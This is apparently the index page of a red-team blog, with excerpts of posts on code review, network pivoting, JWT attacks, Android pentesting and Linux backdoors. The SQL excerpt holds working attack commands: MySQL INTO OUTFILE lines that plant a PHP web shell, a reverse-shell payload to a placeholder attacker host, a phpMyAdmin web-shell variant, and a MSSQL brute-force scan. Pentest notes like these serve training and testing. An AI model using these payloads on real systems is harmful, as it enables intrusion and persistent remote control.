/images/avatar.jpg

Quac Tran

Hacker / Red Teamer / Security Enthusiast

Latest posts

My Notes on Code-Review

The Fast Approach First Using grep => Look for specific dangerous patterns like specific -> functions strings keywords and coding patterns that are known to be dangerous. Like => eval() function Focus on the search for dangerous functions used on user-controlled data. Potential Dangerous Functions => Graudit : grep rough audit - source code auditing tool (https://github.com/wireghoul/graudit) APKleaks : Scanning APK file for URIs, endpoints & secrets.

Tunneling, Pivoting to Attack Internal Network

Intro There are plenty of articles and blogs on the Internet talking about attacking and penetrating internal networks, but most of them focus on using the tools, while the principles and scenarios are rarely mentioned or explained much. In this post I’ll discuss the principles of attacking internal networks in various ways, flexibly designing an internal-network attack diagram to match the different internal-network scenarios. This is also one of my favorite topics in cybersecurity and red team operations in general.

JWT Attack

What is JWT The full name of JWT is Json Web Token. It follows the JSON format and encodes user information into the token. The server doesn’t store any user information, only the key information, and it verifies the token using a specific encryption algorithm and verifies the user’s identity through the token. Token-based authentication can replace the traditional cookie + session authentication method. JWT consists of three parts: header.

Android Pentest Note

Concept Structure AndroidManifest file contains the application’s structure Res folder contains all the resources that the application needs to run , including user interface layout, icons, audio, etc. The most interesting files for us are the classes.dex files because they are the compiled java files. The .dex extension stands for Dalvik EXecutable. So we need to decompile these dex files to get the java classes. Tools Apktool : tool for reverse engineering Android apk files.

Linux Backdoors

In practice, once you have access to a target (SSH, VNC, interactive shell …), leaving a backdoor is an important part of maintaining access to the target system. Therefore, learning some backdoor techniques is essential, not only for attackers but also for defenders. In what follows we’ll look at some common backdoor techniques. Here we only discuss within the Linux world! What is a backdoor? A backdoor is a piece of hidden code, a script or a program placed on the target machine serving the attacker’s purpose of long-term access to the target, with which you don’t have to exploit the same system twice.

SQL

General MySQL-3306 Nmap nmap -Pn -sV -p 3306 --script mysql* TARGETIP Access Remotely: mysql-host=TARGETIP-uroot-pmysql-uroot-ppassword-e'show databases;'mysql-uroot-ppasswordDBNAME-e'select * from TABLENAME;'Access Locally: mysql-uroot-pmysql>useDBNAME;mysql>showtables;Command Backdoor example: SELECT"<?php system($_GET['cmd']); ?>"intooutfile"/var/www/html/backdoor.php";SELECT"<?php exec(""/bin/bash -c 'bash -i >&/dev/tcp/ATTACKERIP/PORT 0>&1'""); ?> "intooutfile"/tmp/shell.php";Update a field example: (i.e. change a password): updateTABLENAMEsetPASSWORDFIELD='NEWHASH'whereUSERNAMEFIELD='USERNAME';PHPMyAdmin Default User: root Default Password: (none) Create a new table, then go to the SQL tab SELECT"<?php system($_GET['cmd']); ?>"intooutfile"C:\\xampp\\htdocs\\command.php";`http://TARGTEIP/phpmyadmin/command.php?cmd=ipconfigMSSQL-1433 Default username : sa Nmap nmap -sV -Pn -p 1433 --script ms-sql-brute --script-args userdb=users.